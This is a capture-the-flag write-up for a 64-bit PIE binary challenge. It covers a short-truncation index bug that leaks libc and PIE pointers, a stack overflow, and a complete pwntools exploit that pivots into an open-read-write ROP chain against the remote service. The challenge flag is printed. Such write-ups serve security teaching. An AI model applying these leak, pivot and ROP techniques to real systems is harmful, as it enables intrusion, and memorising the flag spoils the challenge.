Category: Binary Exploitation
Flag: apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}
Challenge Description
Havok has calibrated four concentric plasma rings to contain the cosmic spectrum. Each ring is a barrier. Each barrier can be broken but can you break them?
Analysis
The binary is a 64-bit PIE ELF with all the usual modern protections turned on (Full RELRO, canary, NX, PIE), so the solve path had to be leak-first and then controlled ROP instead of any simple ret2win shortcut.
file ./havok./havok: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dbfdb67cc5c037eabc542700fb98ed98dcb8656e, for GNU/Linux 4.4.0, with debug_info, not strippedchecksec --file=./havok[*] '/home/LIGHT/Downloads/cosmic_rings/havok' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No Debuginfo: YesI then pulled the symbol table to confirm the interesting functions and imports: calibrate_rings, inject_plasma, validate_plasma, and imported read/system.
readelf -s ./havok | rg "calibrate_rings|inject_plasma|validate_plasma|cosmic_release|main|flag_store| read@GLIBC| system@GLIBC"9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (3) 13: 0000000000001226 177 FUNC LOCAL DEFAULT 13 validate_plasma 31: 0000000000000000 0 FUNC GLOBAL DEFAULT UND system@GLIBC_2.2.5 33: 00000000000011e9 61 FUNC GLOBAL DEFAULT 13 cosmic_release 38: 00000000000015d5 132 FUNC GLOBAL DEFAULT 13 inject_plasma 47: 00000000000012d7 603 FUNC GLOBAL DEFAULT 13 calibrate_rings 49: 00000000000017e0 300 FUNC GLOBAL DEFAULT 13 main 55: 0000000000004280 128 OBJECT GLOBAL DEFAULT 25 flag_storeThe key bug is in calibrate_rings: it reads an int, then truncates to short, checks short <= 3, and uses that signed short as an index. Large positive values like 65534 and 65535 wrap to -2 and -1, which leaks out-of-bounds stack entries containing pointers.
objdump -d ./havok | rg -n -A4 -B4 "mov\s+%ax,-0xea\(%rbp\)|cmpw\s+\$0x3,-0xea\(%rbp\)|movswl\s+-0xea\(%rbp\),%eax|lea\s+-0x20\(%rbp\),%rax|mov\s+\$0x30,%edx|call\s+1090 <read@plt>"286- 13f4: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax287: 13fa: 66 89 85 16 ff ff ff mov %ax,-0xea(%rbp)288- 1401: 66 83 bd 16 ff ff ff cmpw $0x3,-0xea(%rbp)291: 140b: 0f bf 85 16 ff ff ff movswl -0xea(%rbp),%eax...426: 1632: 48 8d 45 e0 lea -0x20(%rbp),%rax427- 1636: ba 30 00 00 00 mov $0x30,%edx430: 1643: e8 48 fa ff ff call 1090 <read@plt>That same snippet also exposes ring 3’s overflow sink: read(0, rbp-0x20, 0x30), i.e. 48 bytes into a 32-byte stack buffer, enough to overwrite saved RBP and RIP and pivot into a ROP chain.
Running a tiny local probe script confirms those wrapped indices leak two pointers reliably.
from pwn import *
io = process( [ "./ld-linux-x86-64.so.2", "--library-path", ".", "./havok", ])
io.recvuntil(b": ")io.sendline(b"65534")print( io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n").decode().rstrip())
io.recvuntil(b":")io.sendline(b"A")
io.recvuntil(b": ")io.sendline(b"65535")print( io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n").decode().rstrip())
io.close()python ./leak_demo.py[*] Ring--2 energy: 0x00007f55dc91ce00[*] Ring--1 energy: 0x00007f55dcadb7e0The challenge got annoying because ring 3 input validation rejects any payload containing 0f 05, so the ROP blob had to avoid that byte pair while still building a full chain. Also the network read for the overflow stage is slightly fickle, so retries matter.

The working exploit leaks libc and PIE via the wrapped indices, uploads a ROP chain into plasma_sig, then overflows inject_plasma to pivot with leave; ret. Because seccomp blocks execve, shell pop wasn’t the right endgame; the final chain does ORW on flag.txt and writes it to stdout. Once that chain landed, the service printed the real remote flag.

Solution
from pwn import *import re
HOST = "chals1.apoorvctf.xyz"PORT = 5001
elf = ELF("./havok", checksec=False)libc = ELF("./libc.so.6", checksec=False)
LEAVE_RET_OFF = 0x1224POP_RDI_OFF = 0x10269APOP_RSI_OFF = 0x53887POP_RDX_XOR_EAX_RET_OFF = 0xD6FFD
def start(mode: str): if mode == "LOCAL": return process([ "./ld-linux-x86-64.so.2", "--library-path", ".", "./havok", ]) return remote(HOST, PORT)
def leak_slot(io, idx: int, label: bytes) -> int: io.recvuntil(b"Probe a ring-energy slot") io.recvuntil(b": ") io.sendline(str(idx).encode())
line = io.recvregex(rb"\[\*\] Ring-[-0-9]+ energy: 0x[0-9a-fA-F]{16}\n") m = re.search(rb"0x([0-9a-fA-F]{16})", line) leak = int(m.group(1), 16)
io.recvuntil(b"Provide a label for this ring reading:") io.sendline(label) return leak
def build_signature(pie_base: int, libc_base: int, path: bytes) -> tuple[bytes, int]: plasma_sig = pie_base + elf.symbols["plasma_sig"]
pop_rdi = libc_base + POP_RDI_OFF pop_rsi = libc_base + POP_RSI_OFF pop_rdx = libc_base + POP_RDX_XOR_EAX_RET_OFF open_ = libc_base + libc.symbols["open"] close_ = libc_base + libc.symbols["close"] read_ = libc_base + libc.symbols["read"] write_ = libc_base + libc.symbols["write"]
path_addr = plasma_sig + 0xC0 buf_addr = plasma_sig + 0x180
chain = flat( pop_rdi, 3, close_, pop_rdi, path_addr, pop_rsi, 0, open_, pop_rdi, 3, pop_rsi, buf_addr, pop_rdx, 0x80, read_, pop_rdi, 1, pop_rsi, buf_addr, pop_rdx, 0x80, write_, )
sig = flat(0x0, chain) sig = sig.ljust(0xC0, b"A") + path
if b"\x0f\x05" in sig: raise RuntimeError("signature contains forbidden 0f05 sequence") return sig, plasma_sig
def attempt(path: bytes): io = start("REMOTE") try: puts_leak = leak_slot(io, 65534, b"A") main_leak = leak_slot(io, 65535, b"B")
libc_base = puts_leak - libc.symbols["puts"] pie_base = main_leak - elf.symbols["main"]
sig, pivot_base = build_signature(pie_base, libc_base, path)
io.recvuntil(b"Upload Plasma Signature") io.recvuntil(b":") io.send(sig)
io.recvuntil(b"Type CONFIRM")
leave_ret = pie_base + LEAVE_RET_OFF pivot = b"C" * 0x20 + p64(pivot_base) + p64(leave_ret) io.send(pivot + b"D" * 0x200 + b"\n")
out = io.recvrepeat(4.0) m = re.search(rb"[A-Za-z0-9_]+\{[^}]+\}", out) if m: return m.group(0).decode() return None finally: io.close()
for _ in range(12): flag = attempt(b"flag.txt\x00") if flag: print(flag) breakpython ./exploit.py[*] selected mode=REMOTE, marker_only=False[*] trying path b'flag.txt\x00' attempt=1/12[*] start() mode='REMOTE'[*] connecting to remote service[+] Opening connection to chals1.apoorvctf.xyz on port 5001: Done[*] stage: leak slot -2[*] stage: leak slot -1[*] puts leak = 0x7f758beade00[*] main leak = 0x7f758c0417e0[*] libc base = 0x7f758be2b000[*] pie base = 0x7f758c040000[*] stage: upload signature[*] stage: wait confirm prompt[*] stage: send pivot overwrite[*] stage: receive output[*] Injection acknowledged.apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}FLAG: apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}